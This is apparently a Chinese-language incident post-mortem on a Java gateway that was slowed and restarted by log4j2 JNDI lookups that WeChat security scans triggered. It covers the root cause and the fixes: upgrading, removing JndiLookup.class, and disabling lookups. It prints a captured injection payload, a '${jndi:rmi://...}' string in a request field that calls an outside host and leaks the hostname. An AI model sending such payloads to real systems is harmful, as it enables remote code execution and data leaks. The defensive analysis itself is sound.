一次 Java log4j2 漏洞導致的生產問題
一、問題
近期生產在提交了微信小程式審核後(後面會講到),總會出現一些生產告警,而且持續時間較長。我們查看一些工具和系統相關的,發現把我們的 gateway 差不多打死了。 有一些現象。
- 網關有很多介面處理慢。
- 網關健康檢查不通過,發生重啟。
前面我們提到是微信小程式審核後,為什麼我們覺得是和這個相關,因為我們在相關的時間段的 Nginx
請求日誌種的 agent 欄位看到了 Tencent Security Team, more information: //developers.weixin.qq.com/community/minihome/doc/0008ea401c89c02cff2d1345051001
。我們可以看到小程式提交審核後平台將對提審的小程式進行安全檢測. 我們也找到對應的小程式負責人詢問,是當天那個時間段前10分鐘左右有提交小程式審核。 而且這個小程式也是包含了這些掃描介面的。
我們在想是業務場景觸發的問題與這個掃描湊巧在一個時間段嗎? 因為我們認為這個檢查頻率不至於打垮我們的服務。我們決定在一個業務閑時,也就是低峰期的時候檢測一次(重新提交一次小程式提審)。 我們在提交完之後發現,掃描開始之後,我們的網關還是支撐不住了。頻繁的超時和健康檢查失敗。 網關服務有節點發生了重啟。 我們篤定跟微信的掃描是有關了。
二、解析過程
基本問題解析
我們在第二次掃描的時候,也做了一些準備。
- dump
jvm
的記憶體。 - dump
java
的執行緒棧。 - 關注
Nginx
和gateway
的日誌。
我們 dump
執行緒棧發現了一些內容,但是我們沒有引起注意。
記憶體 dump
的話,我們發下並沒有佔用太多記憶體,記憶體使用正常。
我們最後在 gateway
發現了一些日誌。
整個請求耗時50多s。
我們看到 gateway
打出這個請求的請求體是
{
"pageNum": "${jndi:rmi://9.4.131.68:1099/bypass8cc3241fe66af8c6a1e82d9964e059be-/-${hostName}}",
"module": 1,
"pageSize": 20
}
這個 pageNum
的值看著就像注入的。然後我拿著這個值去搜索。
發現可能跟 log4j2
有關, 詢問開發目前我們使用的是 2.13.1
在log4j2漏洞公告中,我們發現 受影響的版本是 2.0-beta7 =< Apache Log4j 2.x < 2.17.0(2.3.2 和 2.12.4 版本不受影響)
該漏洞出現的時間是在 2021-12-29, 漏洞的詳情
Apache Log4j2 是一個基於Java的開源日誌記錄框架,該框架重寫了Log4j框架,是其前身Log4j 1.x 的重寫升級版,並且引入了大量豐富的特性,使用非常的廣泛。該框架被大量用於業務系統開發,用來記錄日誌資訊。
據官方描述,擁有修改日誌配置文件許可權的攻擊者,可以構造惡意的配置將 JDBC Appender 與引用 JNDI URI 的數據源一起使用,從而可通過該 JNDI URI 遠程執行任意程式碼。
由於該漏洞要求攻擊者擁有修改配置文件許可權(通常需藉助其他漏洞才可實現),非默認配置存在的問題,漏洞成功利用難度較大。
log4j2 漏洞相關源碼解析
log4j2
在支援日誌列印的時候,支援了十幾種旁路策略,其中有一個就是jndi
,log4j
用 jndi
實現遠程調用並將結果進行日誌列印,底層採用了socket
進行連接,但是沒有設置超時時間,當日誌中有多個${導致循環調用多次。所以上面日誌列印會重複2次 jndi
的操作,又因為我們日誌列印配置了console
和 rollingFile
。所以會列印四次日誌。
gateway
採用 Netty
作為底層容器,採用了Reactor
模式,有一個事件循環組負責監聽事件,事件到達後會丟給另一個事件循環組去處理讀寫,事件循環組內有多個事件循環器,每個事件循環器由一個執行緒去處理業務讀寫,因此列印上面日誌會阻塞住其中一個處理執行緒。從dump
出來的單個文件看是只有一個處理執行緒被阻塞了。而當進行心跳健康判斷的時候,有一定幾率會被分配給阻塞的執行緒,因此會放到隊列中一直等待執行緒處理,進而超時了 把 gateway
網關重啟了;
四、問題解決辦法
建議解決辦法
-
升級版本。
Apache Log4j 2.x >= 2.3.2 (Java 6) Apache Log4j 2.x >= 2.12.4 (Java 7) Apache Log4j 2.x >= 2.17.1 (Java 8 及更新版)
臨時解決版本
-
刪除
JndiLookup.class
類在 2.16.0 以外的任何版本中,您可以
JndiLookup
從類路徑中刪除該類:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
。 -
配置環境變數
LOG4J_FORMAT_MSG_NO_LOOKUPS
為true
(處理場景有限)java
opts
配置為-Dlog4j2.formatMsgNoLookups=true
(處理場景有限)
解決後測試
配置完成之後
前者處理為56秒,後者需要的時間為354ms
. 是正常的響應時間。